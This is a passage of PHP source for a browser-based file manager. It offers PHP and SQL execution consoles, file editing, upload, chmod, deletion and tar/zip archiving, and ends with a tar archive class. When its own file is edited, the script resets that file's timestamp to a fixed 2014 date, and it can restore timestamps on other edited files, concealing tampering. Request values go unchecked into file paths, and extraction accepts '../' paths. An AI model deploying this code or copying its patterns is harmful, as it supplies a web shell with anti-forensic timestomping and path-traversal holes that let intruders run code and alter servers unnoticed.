} elseif (isset($res_lng)) {	

?>
<table class="whole">

<tr>

                        <th><?=__('File manager').' - '.$path?></th>

</tr>

<tr>

                        <td class="row2"><table><tr><td><h2><?=strtoupper($res_lng)?> <?=__('Console')?><?php

	if($res_lng=='sql') echo ' - Database: '.$fmo_config['sql_db'].'</h2></td><td>'.fm_run_input('php');

	else echo '</h2></td><td>'.fm_run_input('sql');

	?></td></tr></table></td>

</tr>

<tr>

                        <td class="row1">

		        <a href="<?=$url_inc.'&path=' . $path;?>"><?=__('Back')?></a>

		        <form action="" method="POST" name="console">

		        <textarea name="<?=$res_lng?>" cols="80" rows="10" style="width: 90%"><?=$res?></textarea><br/>

		        <input type="reset" value="<?=__('Reset')?>">

		        <input type="submit" value="<?=__('Submit')?>" name="<?=$res_lng?>run">

<?php
$str_tmpl = $res_lng.'_templates';

$tmpl = !empty($$str_tmpl) ? json_decode($$str_tmpl,true) : '';

if (!empty($tmpl)){

	$active = isset($_POST[$res_lng.'_tpl']) ? $_POST[$res_lng.'_tpl'] : '';

	$select = '<select name="'.$res_lng.'_tpl" title="'.__('Template').'" onchange="if (this.value!=-1) document.forms[\'console\'].elements[\''.$res_lng.'\'].value = this.options[selectedIndex].value; else document.forms[\'console\'].elements[\''.$res_lng.'\'].value =\'\';" >'."\n";

	$select .= '<option value="-1">' . __('Select') . "</option>\n";

	foreach ($tmpl as $key=>$value){

		        $select.='<option value="'.$value.'" '.((!empty($value)&&($value==$active))?'selected':'').' >'.__($key)."</option>\n";

	}

	$select .= "</select>\n";

	echo $select;

}

?>
		        </form>

	</td>

</tr>

</table>

<?php
	if (!empty($res)) {

		        $fun='fm_'.$res_lng;

		        echo '<h3>'.strtoupper($res_lng).' '.__('Result').'</h3><pre>'.$fun($res).'</pre>';

	}

} elseif (!empty($_REQUEST['edit'])){

	if(!empty($_REQUEST['save'])) {

		        $fn = $path . $_REQUEST['edit'];

		        $filemtime = filemtime($fn);

	                        if (file_put_contents($fn, $_REQUEST['newcontent'])) $msg_now .= __('File updated');

		        else $msg_now .= __('Error occurred');

		        if ($_GET['edit']==basename(__FILE__)) {

                                 touch(__FILE__,1415116371);

		        } else {

                                 if (!empty($fmo_config['restore_time'])) touch($fn,$filemtime);

		        }

	}

                        $oldcontent = @file_get_contents($path . $_REQUEST['edit']);

                        $editlink = $url_inc . '&edit=' . $_REQUEST['edit'] . '&path=' . $path;

                        $backlink = $url_inc . '&path=' . $path;

?>
<table border='0' cellspacing='0' cellpadding='1' width="100%">

<tr>

                        <th><?=__('File manager').' - '.__('Edit').' - '.$path.$_REQUEST['edit']?></th>

</tr>

<tr>

                        <td class="row1">

                                                <?=$msg_now?>

	</td>

</tr>

<tr>

                        <td class="row1">

                                                <?=fm_home()?> <a href="<?=$backlink?>"><?=__('Back')?></a>

	</td>

</tr>

<tr>

                        <td class="row1" align="center">

                                                <form name="form1" method="post" action="<?=$editlink?>">

                                                                        <textarea name="newcontent" id="newcontent" cols="45" rows="15" style="width:99%" spellcheck="false"><?=htmlspecialchars($oldcontent)?></textarea>

                                                                        <input type="submit" name="save" value="<?=__('Submit')?>">

                                                                        <input type="submit" name="cancel" value="<?=__('Cancel')?>">

                                                </form>

                        </td>

</tr>

</table>

<?php
echo $auth_mydevice['script'];

} elseif(!empty($_REQUEST['rights'])){

	if(!empty($_REQUEST['save'])) {

	                        if(fm_chmod($path . $_REQUEST['rights'], fm_convert_rights($_REQUEST['rights_val']), @$_REQUEST['recursively']))

		        $msg_now .= (__('File updated')); 

		        else $msg_now .= (__('Error occurred'));

	}

	clearstatcache();

                        $oldrights = fm_rights_string($path . $_REQUEST['rights'], true);

                        $link = $url_inc . '&rights=' . $_REQUEST['rights'] . '&path=' . $path;

                        $backlink = $url_inc . '&path=' . $path;

?>
<table class="whole">

<tr>

                        <th><?=__('File manager').' - '.$path?></th>

</tr>

<tr>

                        <td class="row1">

                                                <?=$msg_now?>

	</td>

</tr>

<tr>

                        <td class="row1">

                                                <a href="<?=$backlink?>"><?=__('Back')?></a>

	</td>

</tr>

<tr>

                        <td class="row1" align="center">

                                                <form name="form1" method="post" action="<?=$link?>">

                                                   <?=__('Rights').' - '.$_REQUEST['rights']?> <input type="text" name="rights_val" value="<?=$oldrights?>">

                                                <?php if (is_dir($path.$_REQUEST['rights'])) { ?>

                                                                        <input type="checkbox" name="recursively" value="1"> <?=__('Recursively')?><br/>

                                                <?php } ?>

                                                                        <input type="submit" name="save" value="<?=__('Submit')?>">

                                                </form>

                        </td>

</tr>

</table>

<?php
} elseif (!empty($_REQUEST['rename'])&&$_REQUEST['rename']<>'.') {

	if(!empty($_REQUEST['save'])) {

	                        rename($path . $_REQUEST['rename'], $path . $_REQUEST['newname']);

		        $msg_now .= (__('File updated'));

		        $_REQUEST['rename'] = $_REQUEST['newname'];

	}

	clearstatcache();

                        $link = $url_inc . '&rename=' . $_REQUEST['rename'] . '&path=' . $path;

                        $backlink = $url_inc . '&path=' . $path;


?>
<table class="whole">

<tr>

                        <th><?=__('File manager').' - '.$path?></th>

</tr>

<tr>

                        <td class="row1">

                                                <?=$msg_now?>

	</td>

</tr>

<tr>

                        <td class="row1">

                                                <a href="<?=$backlink?>"><?=__('Back')?></a>

	</td>

</tr>

<tr>

                        <td class="row1" align="center">

                                                <form name="form1" method="post" action="<?=$link?>">

                                                                        <?=__('Rename')?>: <input type="text" name="newname" value="<?=$_REQUEST['rename']?>"><br/>

                                                                        <input type="submit" name="save" value="<?=__('Submit')?>">

                                                </form>

                        </td>

</tr>

</table>

<?php
} else {

//Let's rock!

                        $msg_now = '';

                        if(!empty($_FILES['upload'])&&!empty($fmo_config['upload_file'])) {

                                                if(!empty($_FILES['upload']['name'])){

                                                                        $_FILES['upload']['name'] = str_replace('%', '', $_FILES['upload']['name']);

                                                                        if(!move_uploaded_file($_FILES['upload']['tmp_name'], $path . $_FILES['upload']['name'])){

                                                                                                $msg_now .= __('Error occurred');

                                                                        } else {

                                 	$msg_now .= __('Files uploaded').': '.$_FILES['upload']['name'];

                                 }

                                                }

                        } elseif(!empty($_REQUEST['delete'])&&$_REQUEST['delete']<>'.') {

                                                if(!fm_del_files(($path . $_REQUEST['delete']), true)) {

                                                                        $msg_now .= __('Error occurred');

                                                } else {

                                 $msg_now .= __('Deleted').' '.$_REQUEST['delete'];

		        }

	} elseif(!empty($_REQUEST['mkdir'])&&!empty($fmo_config['make_directory'])) {

                                                if(!@mkdir($path . $_REQUEST['dirname'],0777)) {

                                                                        $msg_now .= __('Error occurred');

                                                } else {

                                 $msg_now .= __('Created').' '.$_REQUEST['dirname'];

		        }

                        } elseif(!empty($_POST['search_recursive'])) {

		        ini_set('max_execution_time', '0');

		        $search_data =  find_text_in_files($_POST['path'], $_POST['mask'], $_POST['search_recursive']);

		        if(!empty($search_data)) {

                                 $msg_now .= __('Found in files').' ('.count($search_data).'):<br>';

                                 foreach ($search_data as $filename) {

                                 	$msg_now .= '<a href="'.fm_url(true).'?fm=true&edit='.basename($filename).'&path='.str_replace('/'.basename($filename),'/',$filename).'" title="' . __('Edit') . '">'.basename($filename).'</a>&nbsp; &nbsp;';

                                 }

		        } else {

                                 $msg_now .= __('Nothing founded');

		        }	

	} elseif(!empty($_REQUEST['mkfile'])&&!empty($fmo_config['new_file'])) {

                                                if(!$fp=@fopen($path . $_REQUEST['filename'],"w")) {

                                                                        $msg_now .= __('Error occurred');

                                                } else {

                                 fclose($fp);

                                 $msg_now .= __('Created').' '.$_REQUEST['filename'];

		        }

                        } elseif (isset($_GET['zip'])) {

		        $source = base64_decode($_GET['zip']);

		        $destination = basename($source).'.zip';

		        set_time_limit(0);

		        $phar = new PharData($destination);

		        $phar->buildFromDirectory($source);

		        if (is_file($destination))

		        $msg_now .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').

		        '.&nbsp;'.fm_link('download',$path.$destination,__('Download'),__('Download').' '. $destination)

		        .'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '. $destination.'" >'.__('Delete') . '</a>';

		        else $msg_now .= __('Error occurred').': '.__('no files');

	} elseif (isset($_GET['gz'])) {

		        $source = base64_decode($_GET['gz']);

		        $archive = $source.'.tar';

		        $destination = basename($source).'.tar';

		        if (is_file($archive)) unlink($archive);

		        if (is_file($archive.'.gz')) unlink($archive.'.gz');

		        clearstatcache();

		        set_time_limit(0);

		        //die();

		        $phar = new PharData($destination);

		        $phar->buildFromDirectory($source);

		        $phar->compress(Phar::GZ,'.tar.gz');

		        unset($phar);

		        if (is_file($archive)) {

                                 if (is_file($archive.'.gz')) {

                                 	unlink($archive); 

                                 	$destination .= '.gz';

                                 }


                                 $msg_now .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').

                                 '.&nbsp;'.fm_link('download',$path.$destination,__('Download'),__('Download').' '. $destination)

                                 .'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '.$destination.'" >'.__('Delete').'</a>';

		        } else $msg_now .= __('Error occurred').': '.__('no files');

	} elseif (isset($_GET['decompress'])) {

		        // $source = base64_decode($_GET['decompress']);

		        // $destination = basename($source);

		        // $ext = end(explode(".", $destination));

		        // if ($ext=='zip' OR $ext=='gz') {

                                 // $phar = new PharData($source);

                                 // $phar->decompress();

                                 // $base_file = str_replace('.'.$ext,'',$destination);

                                 // $ext = end(explode(".", $base_file));

                                 // if ($ext=='tar'){

                                 	// $phar = new PharData($base_file);

                                 	// $phar->extractTo(dir($source));

                                 // }

		        // } 

		        // $msg_now .= __('Task').' "'.__('Decompress').' '.$source.'" '.__('done');

	} elseif (isset($_GET['gzfile'])) {

		        $source = base64_decode($_GET['gzfile']);

		        $archive = $source.'.tar';

		        $destination = basename($source).'.tar';

		        if (is_file($archive)) unlink($archive);

		        if (is_file($archive.'.gz')) unlink($archive.'.gz');

		        set_time_limit(0);

		        //echo $destination;

		        $ext_arr = explode('.',basename($source));

		        if (isset($ext_arr[1])) {

                                 unset($ext_arr[0]);

                                 $ext=implode('.',$ext_arr);

		        } 

		        $phar = new PharData($destination);

		        $phar->addFile($source);

		        $phar->compress(Phar::GZ,$ext.'.tar.gz');

		        unset($phar);

		        if (is_file($archive)) {

                                 if (is_file($archive.'.gz')) {

                                 	unlink($archive); 

                                 	$destination .= '.gz';

                                 }

                                 $msg_now .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').

                                 '.&nbsp;'.fm_link('download',$path.$destination,__('Download'),__('Download').' '. $destination)

                                 .'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '.$destination.'" >'.__('Delete').'</a>';

		        } else $msg_now .= __('Error occurred').': '.__('no files');

	}

?>
<table class="whole" id="header_table" >

<tr>

                        <th colspan="2"><?=__('File manager')?><?=(!empty($path)?' - '.$path:'')?></th>

</tr>

          <?php if(!empty($msg_now)){ ?>
<tr>

	<td colspan="2" class="row2"><?=$msg_now?></td>

</tr>

<?php } ?>
<tr>

                        <td class="row2">

		        <table>

                                 <tr>

                                 <td>

                                 	<?=fm_home()?>

                                 </td>

                                 <td>

                                 <?php if(!empty($fmo_config['make_directory'])) { ?>

                                 	<form method="post" action="<?=$url_inc?>">

                                 	<input type="hidden" name="path" value="<?=$path?>" />

                                 	<input type="text" name="dirname" size="15">

                                 	<input type="submit" name="mkdir" value="<?=__('Make directory')?>">

                                 	</form>

                                 <?php } ?>

                                 </td>

                                 <td>

                                 <?php if(!empty($fmo_config['new_file'])) { ?>

                                 	<form method="post" action="<?=$url_inc?>">

                                 	<input type="hidden" name="path"                         value="<?=$path?>" />

                                 	<input type="text"   name="filename" size="15">

                                 	<input type="submit" name="mkfile"   value="<?=__('New file')?>">

                                 	</form>

                                 <?php } ?>

                                 </td>

                                 <td>

                                 	<form  method="post" action="<?=$url_inc?>" style="display:inline">

                                 	<input type="hidden" name="path" value="<?=$path?>" />

                                 	<input type="text" placeholder="<?=__('Recursive search')?>" name="search_recursive" value="<?=!empty($_POST['search_recursive'])?$_POST['search_recursive']:''?>" size="15">

                                 	<input type="text" name="mask" placeholder="<?=__('Mask')?>" value="<?=!empty($_POST['mask'])?$_POST['mask']:'*.*'?>" size="5">

                                 	<input type="submit" name="search" value="<?=__('Search')?>">

                                 	</form>

                                 </td>

                                 <td>

                                 <?=fm_run_input('php')?>

                                 </td>

                                 <td>

                                 <?=fm_run_input('sql')?>

                                 </td>

                                 </tr>

		        </table>

                        </td>

                        <td class="row3">

		        <table>

		        <tr>

		        <td>

		        <?php if (!empty($fmo_config['upload_file'])) { ?>

                                 <form name="form1" method="post" action="<?=$url_inc?>" enctype="multipart/form-data">

                                 <input type="hidden" name="path" value="<?=$path?>" />

                                 <input type="file" name="upload" id="upload_hidden" style="position: absolute; display: block; overflow: hidden; width: 0; height: 0; border: 0; padding: 0;" onchange="document.getElementById('upload_visible').value = this.value;" />

                                 <input type="text" readonly="1" id="upload_visible" placeholder="<?=__('Select the file')?>" style="cursor: pointer;" onclick="document.getElementById('upload_hidden').click();" />

                                 <input type="submit" name="test" value="<?=__('Upload')?>" />

                                 </form>

		        <?php } ?>

		        </td>

		        <td>

		        <?php if ($auth_mydevice['authorize']) { ?>

                                 <form action="" method="post">&nbsp;&nbsp;&nbsp;

                                 <input name="quit" type="hidden" value="1">

                                 <?=__('Hello')?>, <?=$auth_mydevice['login']?>

                                 <input type="submit" value="<?=__('Quit')?>">

                                 </form>

		        <?php } ?>

		        </td>

		        <td>

		        <?=fm_lang_form($language_benros)?>

		        </td>

		        <tr>

		        </table>

                        </td>

</tr>

</table>

<table class="all" border='0' cellspacing='1' cellpadding='1' id="fm_table" width="100%">

<thead>

<tr> 

                        <th style="white-space:nowrap"> <?=__('Filename')?> </th>

                        <th style="white-space:nowrap"> <?=__('Size')?> </th>

                        <th style="white-space:nowrap"> <?=__('Date')?> </th>

                        <th style="white-space:nowrap"> <?=__('Rights')?> </th>

                        <th colspan="4" style="white-space:nowrap"> <?=__('Manage')?> </th>

</tr>

</thead>

<tbody>

<?php
$elements = fm_scan_dir($path, '', 'all', true);

$dirs = array();

$file_entries = array();

foreach ($elements as $file){

                        if(@is_dir($path . $file)){

                                                $dirs[] = $file;

                        } else {

                                                $file_entries[] = $file;

                        }

}

natsort($dirs); natsort($file_entries);

$elements = array_merge($dirs, $file_entries);


foreach ($elements as $file){

                        $filename = $path . $file;

                        $filedata = @stat($filename);

                        if(@is_dir($filename)){

		        $filedata[7] = '';

		        if (!empty($fmo_config['show_dir_size'])&&!fm_root($file)) $filedata[7] = fm_dir_size($filename);

                                                $link = '<a href="'.$url_inc.'&path='.$path.$file.'" title="'.__('Show').' '.$file.'"><span class="folder">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>';

                                                $loadlink= (fm_root($file)||$phar_maybe) ? '' : fm_link('zip',$filename,__('Compress').'&nbsp;zip',__('Archiving').' '. $file);

		        $arlink  = (fm_root($file)||$phar_maybe) ? '' : fm_link('gz',$filename,__('Compress').'&nbsp;.tar.gz',__('Archiving').' '.$file);

                                                $style = 'row2';

		         if (!fm_root($file)) $alert = 'onClick="if(confirm(\'' . __('Are you sure you want to delete this directory (recursively)?').'\n /'. $file. '\')) document.location.href = \'' . $url_inc . '&delete=' . $file . '&path=' . $path  . '\'"'; else $alert = '';

                        } else {

		        $link = 

                                 $fmo_config['show_img']&&@getimagesize($filename) 

                                 ? '<a target="_blank" onclick="var lefto = screen.availWidth/2-320;window.open(\''

                                 . fm_img_link($filename)

                                 .'\',\'popup\',\'width=640,height=480,left=\' + lefto + \',scrollbars=yes,toolbar=no,location=no,directories=no,status=no\');return false;" href="'.fm_img_link($filename).'"><span class="img">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>'

                                 : '<a href="' . $url_inc . '&edit=' . $file . '&path=' . $path. '" title="' . __('Edit') . '"><span class="file">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>';

		        $e_arr = explode(".", $file);

		        $ext = end($e_arr);

                                                $loadlink =  fm_link('download',$filename,__('Download'),__('Download').' '. $file);

		        $arlink = in_array($ext,array('zip','gz','tar')) 

		        ? ''

		        : ((fm_root($file)||$phar_maybe) ? '' : fm_link('gzfile',$filename,__('Compress').'&nbsp;.tar.gz',__('Archiving').' '. $file));

                                                $style = 'row1';

		        $alert = 'onClick="if(confirm(\''. __('File selected').': \n'. $file. '. \n'.__('Are you sure you want to delete this file?') . '\')) document.location.href = \'' . $url_inc . '&delete=' . $file . '&path=' . $path  . '\'"';

                        }

                        $deletelink = fm_root($file) ? '' : '<a href="#" title="' . __('Delete') . ' '. $file . '" ' . $alert . '>' . __('Delete') . '</a>';

                        $renamelink = fm_root($file) ? '' : '<a href="' . $url_inc . '&rename=' . $file . '&path=' . $path . '" title="' . __('Rename') .' '. $file . '">' . __('Rename') . '</a>';

                        $rightstext = ($file=='.' || $file=='..') ? '' : '<a href="' . $url_inc . '&rights=' . $file . '&path=' . $path . '" title="' . __('Rights') .' '. $file . '">' . @fm_rights_string($filename) . '</a>';

?>
<tr class="<?=$style?>"> 

                        <td><?=$link?></td>

                        <td><?=$filedata[7]?></td>

                        <td style="white-space:nowrap"><?=gmdate("Y-m-d H:i:s",$filedata[9])?></td>

                        <td><?=$rightstext?></td>

                        <td><?=$deletelink?></td>

                        <td><?=$renamelink?></td>

                        <td><?=$loadlink?></td>

                        <td><?=$arlink?></td>

</tr>

<?php
                        }

}

?>
</tbody>

</table>

<div class="row3"><?php

	$mtime = explode(' ', microtime()); 

	$totaltime = $mtime[0] + $mtime[1] - $startororimy; 

	echo fm_home().' | ver. '.$fm_version.' | <a href="https://github.com/Den1xxx/Filemanager">Github</a>  | <a href="'.fm_site_url().'">.</a>';

	if (!empty($fmo_config['show_php_ver'])) echo ' | PHP '.phpversion();

	if (!empty($fmo_config['show_php_ini'])) echo ' | '.php_ini_loaded_file();

	if (!empty($fmo_config['show_gt'])) echo ' | '.__('Generation time').': '.round($totaltime,2);

	if (!empty($fmo_config['enable_proxy'])) echo ' | <a href="?proxy=true">proxy</a>';

	if (!empty($fmo_config['show_phpinfo'])) echo ' | <a href="?phpinfo=true">phpinfo</a>';

	if (!empty($fmo_config['show_xls'])&&!empty($link)) echo ' | <a href="javascript: void(0)" onclick="var obj = new table2Excel(); obj.CreateExcelSheet(\'fm_table\',\'export\');" title="'.__('Download').' xls">xls</a>';

	if (!empty($fmo_config['fm_settings'])) echo ' | <a href="?fm_settings=true">'.__('Settings').'</a>';

	?>

</div>

<script type="text/javascript">

function download_xls(filename, text) {

	var element = document.createElement('a');

	element.setAttribute('href', 'data:application/vnd.ms-excel;base64,' + text);

	element.setAttribute('download', filename);

	element.style.display = 'none';

	document.body.appendChild(element);

	element.click();

	document.body.removeChild(element);

}


function base64_encode(m) {

	for (var k = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/".split(""), c, d, h, e, a, g = "", b = 0, f, l = 0; l < m.length; ++l) {

		        c = m.charCodeAt(l);

		        if (128 > c) d = 1;

		        else

                                 for (d = 2; c >= 2 << 5 * d;) ++d;

		        for (h = 0; h < d; ++h) 1 == d ? e = c : (e = h ? 128 : 192, a = d - 2 - 6 * h, 0 <= a && (e += (6 <= a ? 1 : 0) + (5 <= a ? 2 : 0) + (4 <= a ? 4 : 0) + (3 <= a ? 8 : 0) + (2 <= a ? 16 : 0) + (1 <= a ? 32 : 0), a -= 5), 0 > a && (u = 6 * (d - 1 - h), e += c >> u, c -= c >> u << u)), f = b ? f << 6 - b : 0, b += 2, f += e >> b, g += k[f], f = e % (1 << b), 6 == b && (b = 0, g += k[f])

	}

	b && (g += k[f << 6 - b]);

	return g

}



var tableToExcelData = (function() {

                        var uri = 'data:application/vnd.ms-excel;base64,',

                        template = '<html xmlns:o="urn:schemas-microsoft-com:office:office" xmlns:x="urn:schemas-microsoft-com:office:excel" xmlns="http://www.w3.org/TR/REC-html40"><head><!--[if gte mso 9]><xml><x:ExcelWorkbook><x:ExcelWorksheets><x:ExcelWorksheet><x:Name>{worksheet}</x:Name><x:WorksheetOptions><x:DisplayGridlines></x:DisplayGridlines></x:WorksheetOptions></x:ExcelWorksheet></x:ExcelWorksheets></x:ExcelWorkbook></xml><![endif]--><meta http-equiv="content-type" content="text/plain; charset=UTF-8"/></head><body><table>{table}</table></body></html>',

                        format = function(s, c) {

                                                                        return s.replace(/{(\w+)}/g, function(m, p) {

                                                                                                return c[p];

                                                                        })

                                                }

                        return function(table, name) {

                                                if (!table.nodeType) table = document.getElementById(table)

                                                var ctx = {

                                                                        worksheet: name || 'Worksheet',

                                                                        table: table.innerHTML.replace(/<span(.*?)\/span> /g,"").replace(/<a\b[^>]*>(.*?)<\/a>/g,"$1")

                                                }

		        t = new Date();

		        filename = 'fm_' + t.toISOString() + '.xls'

		        download_xls(filename, base64_encode(format(template, ctx)))

                        }

})();


var table2Excel = function () {


                        var ua = window.navigator.userAgent;

                        var msie = ua.indexOf("MSIE ");


	this.CreateExcelSheet = 

		        function(el, name){

                                 if (msie > 0 || !!navigator.userAgent.match(/Trident.*rv\:11\./)) {// If Internet Explorer


                                 	var x = document.getElementById(el).rows;


                                 	var xls = new ActiveXObject("Excel.Application");


                                 	xls.visible = true;

                                 	xls.Workbooks.Add

                                 	for (i = 0; i < x.length; i++) {

                                 		        var y = x[i].cells;


                                 		        for (j = 0; j < y.length; j++) {

                                                                  xls.Cells(i + 1, j + 1).Value = y[j].innerText;

                                 		        }

                                 	}

                                 	xls.Visible = true;

                                 	xls.UserControl = true;

                                 	return xls;

                                 } else {

                                 	tableToExcelData(el, name);

                                 }

		        }

}

</script>

</body>

</html>


<?php
//Ported from ReloadCMS project http://reloadcms.com

class archiveTar {

	var $compressed_file_archive = '';

	var $temp_file_handler = 0;

	var $file_position_pointer = 0;

	var $gzip_compression_status = true;

	var $list_of_errors = array();

	var $file_entries = array();

	
	function __construct(){

		        if (!isset($this->errors)) $this->errors = array();

	}

	
	function buildCompressedArchive($file_list){

		        $result = false;

		        if (file_exists($this->archive_name) && is_file($this->archive_name)) 	$newArchive = false;

		        else $newArchive = true;

		        if ($newArchive){

                                 if (!$this->initializeWriteOperation()) return false;

		        } else {

                                 if (filesize($this->archive_name) == 0)	return $this->initializeWriteOperation();

                                 if ($this->isGzipped) {

                                 	$this->finalizeTempFileHandler();

                                 	if (!rename($this->archive_name, $this->archive_name.'.tmp')){

                                 		        $this->errors[] = __('Cannot rename').' '.$this->archive_name.__(' to ').$this->archive_name.'.tmp';

                                 		        return false;

                                 	}

                                 	$tmpArchive = gzopen($this->archive_name.'.tmp', 'rb');

                                 	if (!$tmpArchive){

                                 		        $this->errors[] = $this->archive_name.'.tmp '.__('is not readable');

                                 		        rename($this->archive_name.'.tmp', $this->archive_name);

                                 		        return false;

                                 	}

                                 	if (!$this->initializeWriteOperation()){

                                 		        rename($this->archive_name.'.tmp', $this->archive_name);

                                 		        return false;

                                 	}

                                 	$buffer = gzread($tmpArchive, 512);

                                 	if (!gzeof($tmpArchive)){

                                 		        do {

                                                                  $binaryData = pack('a512', $buffer);

                                                                  $this->writeBlockToData($binaryData);

                                                                  $buffer = gzread($tmpArchive, 512);

                                 		        }

                                 		        while (!gzeof($tmpArchive));

                                 	}

                                 	gzclose($tmpArchive);

                                 	unlink($this->archive_name.'.tmp');

                                 } else {

                                 	$this->tmp_file = fopen($this->archive_name, 'r+b');

                                 	if (!$this->tmp_file)	return false;

                                 }

		        }

		        if (isset($file_list) && is_array($file_list)) {

		        if (count($file_list)>0)

                                 $result = $this->packFilesIntoArchive($file_list);

		        } else $this->errors[] = __('No file').__(' to ').__('Archive');

		        if (($result)&&(is_resource($this->tmp_file))){

                                 $binaryData = pack('a512', '');

                                 $this->writeBlockToData($binaryData);

		        }

		        $this->finalizeTempFileHandler();

		        if ($newArchive && !$result){

		        $this->finalizeTempFileHandler();

		        unlink($this->archive_name);

		        }

		        return $result;

	}


	function unpackCompressedArchive($path){

		        $fileName = $this->archive_name;

		        if (!$this->isGzipped){

                                 if (file_exists($fileName)){

                                 	if ($fp = fopen($fileName, 'rb')){

                                 		        $data = fread($fp, 2);

                                 		        fclose($fp);

                                 		        if ($data == '\37\213'){

                                                                  $this->isGzipped = true;

                                 		        }

                                 	}

                                 }

                                 elseif ((substr($fileName, -2) == 'gz') OR (substr($fileName, -3) == 'tgz')) $this->isGzipped = true;

		        } 

		        $result = true;

		        if ($this->isGzipped) $this->tmp_file = gzopen($fileName, 'rb');

		        else $this->tmp_file = fopen($fileName, 'rb');

		        if (!$this->tmp_file){

                                 $this->errors[] = $fileName.' '.__('is not readable');

                                 return false;

		        }

		        $result = $this->unpackFilesIntoArchive($path);

                                 $this->finalizeTempFileHandler();

		        return $result;

	}


	function displayAllErrors	($message = '') {

		        $Errors = $this->errors;

		        if(count($Errors)>0) {

		        if (!empty($message)) $message = ' ('.$message.')';

                                 $message = __('Error occurred').$message.': <br/>';

                                 foreach ($Errors as $value)

                                 	$message .= $value.'<br/>';

                                 return $message;	

		        } else return '';

		        
	}

	
	function packFilesIntoArchive($file_array){

		        $result = true;

		        if (!$this->tmp_file){

                                 $this->errors[] = __('Invalid file descriptor');

                                 return false;

		        }

		        if (!is_array($file_array) || count($file_array)<=0)

                                                  return true;

		        for ($i = 0; $i<count($file_array); $i++){

                                 $filename = $file_array[$i];

                                 if ($filename == $this->archive_name)

                                 	continue;

                                 if (strlen($filename)<=0)

                                 	continue;

                                 if (!file_exists($filename)){

                                 	$this->errors[] = __('No file').' '.$filename;

                                 	continue;

                                 }

                                 if (!$this->tmp_file){

                                 $this->errors[] = __('Invalid file descriptor');

                                 return false;

                                 }

		        if (strlen($filename)<=0){

                                 $this->errors[] = __('Filename').' '.__('is incorrect');;

                                 return false;

		        }

		        $filename = str_replace('\\', '/', $filename);

		        $keep_filename = $this->createValidFilePath($filename);

		        if (is_file($filename)){

                                 if (($file = fopen($filename, 'rb')) == 0){

                                 	$this->errors[] = __('Mode ').__('is incorrect');

                                 }

                                 	if(($this->file_pos == 0)){

                                 		        if(!$this->writeHeaderToArchive($filename, $keep_filename))

                                                                  return false;

                                 	}

                                 	while (($buffer = fread($file, 512)) != ''){

                                 		        $binaryData = pack('a512', $buffer);

                                 		        $this->writeBlockToData($binaryData);

                                 	}

                                 fclose($file);

		        }	else $this->writeHeaderToArchive($filename, $keep_filename);

                                 if (@is_dir($filename)){

                                 	if (!($handle = opendir($filename))){

                                 		        $this->errors[] = __('Error').': '.__('Directory ').$filename.__('is not readable');

                                 		        continue;

                                 	}

                                 	while (false !== ($dir = readdir($handle))){

                                 		        if ($dir!='.' && $dir!='..'){

                                                                  $file_array_tmp = array();

                                                                  if ($filename != '.')

                                                                  	$file_array_tmp[] = $filename.'/'.$dir;

                                                                  else

                                                                  	$file_array_tmp[] = $dir;


                                                                  $result = $this->packFilesIntoArchive($file_array_tmp);

                                 		        }

                                 	}

                                 	unset($file_array_tmp);

                                 	unset($dir);

                                 	unset($handle);

                                 }

		        }

		        return $result;

	}


	function unpackFilesIntoArchive($path){ 

		        $path = str_replace('\\', '/', $path);

		        if ($path == ''	|| (substr($path, 0, 1) != '/' && substr($path, 0, 3) != '../' && !strpos($path, ':')))	$path = './'.$path;

		        clearstatcache();

		        while (strlen($binaryData = $this->readBlockFromData()) != 0){

                                 if (!$this->extractHeaderInformation($binaryData, $header)) return false;

                                 if ($header['filename'] == '') continue;

                                 if ($header['typeflag'] == 'L'){                                 //reading long header

                                 	$filename = '';

                                 	$decr = floor($header['size']/512);

                                 	for ($i = 0; $i < $decr; $i++){

                                 		        $content = $this->readBlockFromData();

                                 		        $filename .= $content;

                                 	}

                                 	if (($laspiece = $header['size'] % 512) != 0){

                                 		        $content = $this->readBlockFromData();

                                 		        $filename .= substr($content, 0, $laspiece);

                                 	}

                                 	$binaryData = $this->readBlockFromData();

                                 	if (!$this->extractHeaderInformation($binaryData, $header)) return false;

                                 	else $header['filename'] = $filename;

                                 	return true;

                                 }

                                 if (($path != './') && ($path != '/')){

                                 	while (substr($path, -1) == '/') $path = substr($path, 0, strlen($path)-1);

                                 	if (substr($header['filename'], 0, 1) == '/') $header['filename'] = $path.$header['filename'];

                                 	else $header['filename'] = $path.'/'.$header['filename'];

                                 }

                                 
                                 if (file_exists($header['filename'])){

                                 	if ((@is_dir($header['filename'])) && ($header['typeflag'] == '')){

                                 		        $this->errors[] =__('File ').$header['filename'].__(' already exists').__(' as folder');

                                 		        return false;

                                 	}

                                 	if ((is_file($header['filename'])) && ($header['typeflag'] == '5')){

                                 		        $this->errors[] =__('Cannot create directory').'. '.__('File ').$header['filename'].__(' already exists');

                                 		        return false;

                                 	}

                                 	if (!is_writeable($header['filename'])){

                                 		        $this->errors[] = __('Cannot write to file').'. '.__('File ').$header['filename'].__(' already exists');

                                 		        return false;

                                 	}

                                 } elseif (($this->dirCheck(($header['typeflag'] == '5' ? $header['filename'] : dirname($header['filename'])))) != 1){

                                 	$this->errors[] = __('Cannot create directory').' '.__(' for ').$header['filename'];

                                 	return false;

                                 }


                                 if ($header['typeflag'] == '5'){

                                 	if (!file_exists($header['filename']))		        {

                                 		        if (!mkdir($header['filename'], 0777))	{

                                                                  
                                                                  $this->errors[] = __('Cannot create directory').' '.$header['filename'];

                                                                  return false;

                                 		        } 

                                 	}

                                 } else {

                                 	if (($destination = fopen($header['filename'], 'wb')) == 0) {

                                 		        $this->errors[] = __('Cannot write to file').' '.$header['filename'];

                                 		        return false;

                                 	} else {

                                 		        $decr = floor($header['size']/512);

                                 		        for ($i = 0; $i < $decr; $i++) {

                                                                  $content = $this->readBlockFromData();

                                                                  fwrite($destination, $content, 512);

